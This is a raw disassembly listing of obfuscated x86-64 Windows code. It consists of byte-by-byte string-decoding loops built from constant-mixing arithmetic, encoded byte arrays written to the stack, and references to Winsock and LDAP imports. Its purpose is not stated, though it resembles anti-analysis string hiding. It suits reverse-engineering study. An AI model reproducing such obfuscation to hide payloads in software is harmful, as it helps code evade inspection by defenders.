lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1402078c8
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1402078b7
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140207894
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14020786d
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140207846
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140207822
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1402077ff
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1402076c2
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x1402076b5
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x140207bec
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x140207ea4
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140207ec8
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140207f20
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140207dbf
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140207944
movabs rdx, 0xc7903b00f3075b20
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140207fa6
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xc10], dil
jmp 0x140207fb5
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140207a27
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140207f53
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140207dbf
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x140207f20
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140207ec8
movabs rdx, 0x4fada4bd54c20d40
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140207ea4
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140207e80
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140207ae2
lea rdx, [r10 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140207d97
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140207bc5
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x140207d6f
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140207c6d
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x140207911
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140207e80
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140207b10
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140207fa6
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140207b3c
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x140207dbc
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140207b69
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140207f1d
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140207b95
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140207ef2
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140207a37
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140207e80
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140207bf4
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x140207e80
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140207c11
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140207e4d
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140207c3e
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x140207f20
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140207a74
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r11b
jmp 0x140207dbf
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140207c8a
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140207af8
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140207cb6
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140207f53
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140207ce2
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140207f1d
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140207d12
movabs rdx, 0x59bae11ee722dd68
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140207ef2
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140207d3e
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140207ec8
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140207ab0
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140207ea4
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xc10]
sub dil, al
sub dil, 0x20
jmp 0x140207eec
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xc10]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xc10], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x140207f53
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140207f20
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x140207eef
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140207ea4
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add r9, rsi
jmp 0x140207ec8
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, rsi
jmp 0x140207fb5
movabs rdx, 0x86f670d5f9d6861c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140207fb5
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
add dil, dl
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xc10], r8b
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x140207fa6
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xc10]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x1402075c1
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r12b
jmp 0x1402075b9
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1402075a3
lea rdx, [rbp + 0x16a0e20]
jmp 0x14020801d
lea rdx, [rbp + 0x6bc9ac]
jmp 0x14020801d
lea rdx, [rbp + 0xc10]
lea rcx, [rbp + 0x4a0]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1db0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140208052
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x1db0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1db0]
call fcn.140266950
nop
lea rcx, [rbp + 0x1db0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x8c0], 0x9b
mov byte [rbp + 0x8c1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8c2], 0x90
mov byte [rbp + 0x8c3], 0xdb
mov byte [rbp + 0x8c4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x8c5], Ordinal_217
mov byte [rbp + 0x8c6], 0x7b
mov byte [rbp + 0x8c7], Ordinal_217
mov byte [rbp + 0x8c8], 0x43
mov byte [rbp + 0x8c9], Ordinal_211
mov byte [rbp + 0x8ca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8cb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8cc], 0x5e
mov byte [rbp + 0x8cd], Ordinal_211
mov byte [rbp + 0x8ce], 0x5d
mov byte [rbp + 0x8cf], Ordinal_211
mov byte [rbp + 0x8d0], WSAGetLastError
mov byte [rbp + 0x8d1], 0xc9
mov byte [rbp + 0x8d2], 0x7a
mov byte [rbp + 0x8d3], 0xcb
mov byte [rbp + 0x8d4], Ordinal_79
mov byte [rbp + 0x8d5], Ordinal_200
mov byte [rbp + 0x8d6], 0x64
mov byte [rbp + 0x8d7], Ordinal_200
mov byte [rbp + 0x8d8], 0x54
mov byte [rbp + 0x8d9], 0xc1
mov byte [rbp + 0x8da], 0x5b
mov byte [rbp + 0x8db], Ordinal_200
mov byte [rbp + 0x8dc], 0x9f
mov byte [rbp + 0x8dd], 0x3d
mov byte [rbp + 0x8de], 0x9a
mov byte [rbp + 0x8df], 0x3f
mov byte [rbp + 0x8e0], 0x84
mov byte [rbp + 0x8e1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8e2], 0xa8
mov byte [rbp + 0x8e3], Ordinal_60
mov byte [rbp + 0x8e4], 0xad
mov byte [rbp + 0x8e5], gethostname
mov byte [rbp + 0x8e6], 0xb8
mov byte [rbp + 0x8e7], Ordinal_60
mov byte [rbp + 0x8e8], 0xad
mov byte [rbp + 0x8e9], Ordinal_50
mov byte [rbp + 0x8ea], 0xa0
mov byte [rbp + 0x8eb], gethostname
mov byte [rbp + 0x8ec], 0xbf
mov byte [rbp + 0x8ed], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8ee], 0x78
mov byte [rbp + 0x8ef], Ordinal_50
mov byte [rbp + 0x8f0], Ordinal_143
mov byte [rbp + 0x8f1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8f2], 0xb3
mov byte [rbp + 0x8f3], Ordinal_46
mov byte [rbp + 0x8f4], 0xb2
mov byte [rbp + 0x8f5], Ordinal_41
mov byte [rbp + 0x8f6], Ordinal_41
mov byte [rbp + 0x8f7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x8f8], rax
mov dword [rbp + 0x900], eax
mov word [rbp + 0x904], ax
mov byte [rbp + 0x906], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140208d67
movzx r8d, byte [rbp + r9 + 0x8c0]
mov rdx, r8
cmp rdi, r9
ja 0x140208d5e
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14020829b
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x1402082d2
je 0x140208cda
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140208caa
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140208c87
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140208c39
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140208d55
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140208305
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1402084c8
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140208c28
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140208c05
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140208bbb
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140208b95
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140208b0a
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1402087a9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140208783
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140208760
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020874e
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14020872d
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140208707
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1402086e4
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1402086d0
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140208d32
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140208d0c
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1402084f5
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1402084cf
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1402084ac
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1402086b9
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140208631
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14020861d
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1402085fc
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1402085e8
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1402085c5
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1402085a3
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140208582
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14020855f
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140208539
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140208518
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140208353
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x140208353
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140208346
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402082d2
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x140208263
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x140208c58
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140208c82
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x140208ca5
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140208ada
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140208cc8
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140208ccb
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140208b19
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14020897e
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x140208825
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x140208ab9
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1402089b5
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x140208aac
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140208c5a
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x1402087bb
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140208b19
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x140208ccb
movabs rdx, 0x9af38ee0ea89f018
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140208cc8
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140208add
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x140208c14
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x140208c82
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140208c5a
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14020880d
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x140208ae4
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1402088a6
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020864f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020883c
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140208cf5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140208859
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_30
jmp 0x140208b19
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140208885
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x140208ccb
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402087ca
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140208c14
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402088d0
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x140208c58
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402088ff
movabs rdx, 0x14451420c69e6c64
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140208c82
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020892b
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x140208cc8
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140208956
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140208b2b
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140208985
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140208b5f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14020864f
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x140208cf5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402089d2
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140208825
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402089ef
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140208b19
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140208a0c
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140208ba4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140208a36
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x140208add
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140208a61
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140208ca5
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140208a7e
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140208548
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140208687
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x140208c58
mov byte [rbp + r9 + 0x8c0], bl
jmp 0x140208d04
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x8c0]
sub bl, al
sub bl, 0x60
add bl, r8b
add bl, dl
jmp 0x140208bd8
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x8c0]
jmp 0x140208b26
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x8c0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140208cf5
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140208cc8
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
jmp 0x140208cc8
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
